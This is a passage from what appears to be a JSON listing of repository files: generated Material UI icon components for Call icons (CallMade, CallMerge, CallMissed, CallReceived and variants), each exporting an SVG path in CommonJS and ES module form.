    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.41 20 17 8.41V15h2V5H9v2h6.59L4 18.59z\"\n}), 'CallMadeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMadeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.41 20 17 8.41V15h2V5H9v2h6.59L4 18.59z\"\n}), 'CallMadeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMerge.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 20.41 18.41 19 15 15.59 13.59 17zM7.5 8H11v5.59L5.59 19 7 20.41l6-6V8h3.5L12 3.5z\"\n}), 'CallMerge');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMerge.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 20.41 18.41 19 15 15.59 13.59 17zM7.5 8H11v5.59L5.59 19 7 20.41l6-6V8h3.5L12 3.5z\"\n}), 'CallMerge');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMergeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 20.41 18.41 19 15 15.59 13.59 17zM7.5 8H11v5.59L5.59 19 7 20.41l6-6V8h3.5L12 3.5z\"\n}), 'CallMergeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMergeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 20.41 18.41 19 15 15.59 13.59 17zM7.5 8H11v5.59L5.59 19 7 20.41l6-6V8h3.5L12 3.5z\"\n}), 'CallMergeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMergeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.7 19.7c.39-.39.39-1.02 0-1.41l-2.7-2.7L13.59 17l2.7 2.7c.39.39 1.03.39 1.41 0M8.71 8H11v5.59l-4.71 4.7c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l5.3-5.3V8h2.29c.45 0 .67-.54.35-.85l-3.29-3.29c-.2-.2-.51-.2-.71 0L8.35 7.15c-.31.31-.09.85.36.85\"\n}), 'CallMergeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMergeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.7 19.7c.39-.39.39-1.02 0-1.41l-2.7-2.7L13.59 17l2.7 2.7c.39.39 1.03.39 1.41 0M8.71 8H11v5.59l-4.71 4.7c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l5.3-5.3V8h2.29c.45 0 .67-.54.35-.85l-3.29-3.29c-.2-.2-.51-.2-.71 0L8.35 7.15c-.31.31-.09.85.36.85\"\n}), 'CallMergeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMergeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 20.41 18.41 19 15 15.59 13.59 17zM7.5 8H11v5.59L5.59 19 7 20.41l6-6V8h3.5L12 3.5z\"\n}), 'CallMergeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMergeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 20.41 18.41 19 15 15.59 13.59 17zM7.5 8H11v5.59L5.59 19 7 20.41l6-6V8h3.5L12 3.5z\"\n}), 'CallMergeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMergeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.997 20.41-3.408-3.407 1.4-1.407 3.41 3.408zM5.59 19 7 20.41l6-6V8h3.5L12 3.5 7.5 8H11v5.59z\"\n}), 'CallMergeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMergeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.997 20.41-3.408-3.407 1.4-1.407 3.41 3.408zM5.59 19 7 20.41l6-6V8h3.5L12 3.5 7.5 8H11v5.59z\"\n}), 'CallMergeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissed.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.59 7 12 14.59 6.41 9H11V7H3v8h2v-4.59l7 7 9-9z\"\n}), 'CallMissed');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissed.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.59 7 12 14.59 6.41 9H11V7H3v8h2v-4.59l7 7 9-9z\"\n}), 'CallMissed');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedOutgoing.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3 8.41 9 9 7-7V15h2V7h-8v2h4.59L12 14.59 4.41 7z\"\n}), 'CallMissedOutgoing');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedOutgoing.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3 8.41 9 9 7-7V15h2V7h-8v2h4.59L12 14.59 4.41 7z\"\n}), 'CallMissedOutgoing');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedOutgoingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3 8.41 9 9 7-7V15h2V7h-8v2h4.59L12 14.59 4.41 7z\"\n}), 'CallMissedOutgoingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedOutgoingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3 8.41 9 9 7-7V15h2V7h-8v2h4.59L12 14.59 4.41 7z\"\n}), 'CallMissedOutgoingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedOutgoingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3.7 9.11 7.59 7.59c.39.39 1.02.39 1.41 0l6.3-6.3V14c0 .55.45 1 1 1s1-.45 1-1V8c0-.55-.45-1-1-1h-6c-.55 0-1 .45-1 1s.45 1 1 1h3.59L12 14.59 5.11 7.7a.996.996 0 0 0-1.41 0c-.38.39-.38 1.03 0 1.41\"\n}), 'CallMissedOutgoingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedOutgoingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3.7 9.11 7.59 7.59c.39.39 1.02.39 1.41 0l6.3-6.3V14c0 .55.45 1 1 1s1-.45 1-1V8c0-.55-.45-1-1-1h-6c-.55 0-1 .45-1 1s.45 1 1 1h3.59L12 14.59 5.11 7.7a.996.996 0 0 0-1.41 0c-.38.39-.38 1.03 0 1.41\"\n}), 'CallMissedOutgoingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedOutgoingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3 8.41 9 9 7-7V15h2V7h-8v2h4.59L12 14.59 4.41 7z\"\n}), 'CallMissedOutgoingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedOutgoingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m3 8.41 9 9 7-7V15h2V7h-8v2h4.59L12 14.59 4.41 7z\"\n}), 'CallMissedOutgoingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedOutgoingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 10.41V15h2V7h-8v2h4.59L12 14.59 4.41 7 3 8.41l9 9z\"\n}), 'CallMissedOutgoingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedOutgoingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 10.41V15h2V7h-8v2h4.59L12 14.59 4.41 7 3 8.41l9 9z\"\n}), 'CallMissedOutgoingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.59 7 12 14.59 6.41 9H11V7H3v8h2v-4.59l7 7 9-9z\"\n}), 'CallMissedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.59 7 12 14.59 6.41 9H11V7H3v8h2v-4.59l7 7 9-9z\"\n}), 'CallMissedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.89 7.7 12 14.59 6.41 9H10c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1s1-.45 1-1v-3.59l6.29 6.29c.39.39 1.02.39 1.41 0l7.59-7.59c.39-.39.39-1.02 0-1.41-.38-.38-1.02-.38-1.4 0\"\n}), 'CallMissedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.89 7.7 12 14.59 6.41 9H10c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1s1-.45 1-1v-3.59l6.29 6.29c.39.39 1.02.39 1.41 0l7.59-7.59c.39-.39.39-1.02 0-1.41-.38-.38-1.02-.38-1.4 0\"\n}), 'CallMissedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.59 7 12 14.59 6.41 9H11V7H3v8h2v-4.59l7 7 9-9z\"\n}), 'CallMissedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.59 7 12 14.59 6.41 9H11V7H3v8h2v-4.59l7 7 9-9z\"\n}), 'CallMissedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5 10.41 7 7 9-9L19.59 7 12 14.59 6.41 9H11V7H3v8h2z\"\n}), 'CallMissedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallMissedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5 10.41 7 7 9-9L19.59 7 12 14.59 6.41 9H11V7H3v8h2z\"\n}), 'CallMissedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.54 5c.06.89.21 1.76.45 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79zm9.86 12.02c.85.24 1.72.39 2.6.45v1.49c-1.32-.09-2.59-.35-3.8-.75zM7.5 3H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1\"\n}), 'CallOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.54 5c.06.89.21 1.76.45 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79zm9.86 12.02c.85.24 1.72.39 2.6.45v1.49c-1.32-.09-2.59-.35-3.8-.75zM7.5 3H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1\"\n}), 'CallOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallReceived.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5.41 18.59 4 7 15.59V9H5v10h10v-2H8.41z\"\n}), 'CallReceived');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallReceived.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5.41 18.59 4 7 15.59V9H5v10h10v-2H8.41z\"\n}), 'CallReceived');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallReceivedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5.41 18.59 4 7 15.59V9H5v10h10v-2H8.41z\"\n}), 'CallReceivedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallReceivedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5.41 18.59 4 7 15.59V9H5v10h10v-2H8.41z\"\n}), 'CallReceivedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallReceivedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.3 4.71a.996.996 0 0 0-1.41 0L7 15.59V10c0-.55-.45-1-1-1s-1 .45-1 1v8c0 .55.45 1 1 1h8c.55 0 1-.45 1-1s-.45-1-1-1H8.41L19.3 6.11c.38-.38.38-1.02 0-1.4\"\n}), 'CallReceivedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallReceivedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.3 4.71a.996.996 0 0 0-1.41 0L7 15.59V10c0-.55-.45-1-1-1s-1 .45-1 1v8c0 .55.45 1 1 1h8c.55 0 1-.45 1-1s-.45-1-1-1H8.41L19.3 6.11c.38-.38.38-1.02 0-1.4\"\n}), 'CallReceivedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallReceivedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5.41 18.59 4 7 15.59V9H5v10h10v-2H8.41z\"\n}), 'CallReceivedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallReceivedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5.41 18.59 4 7 15.59V9H5v10h10v-2H8.41z\"\n}), 'CallReceivedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallReceivedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 17H8.41L20 5.41 18.59 4 7 15.59V9H5v10h10z\"\n}), 'CallReceivedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallReceivedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 17H8.41L20 5.41 18.59 4 7 15.59V9H5v10h10z\"\n}), 'CallReceivedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.23 15.26-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98\"\n}), 'CallRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.23 15.26-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98\"\n}), 'CallRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CallSharp.js",
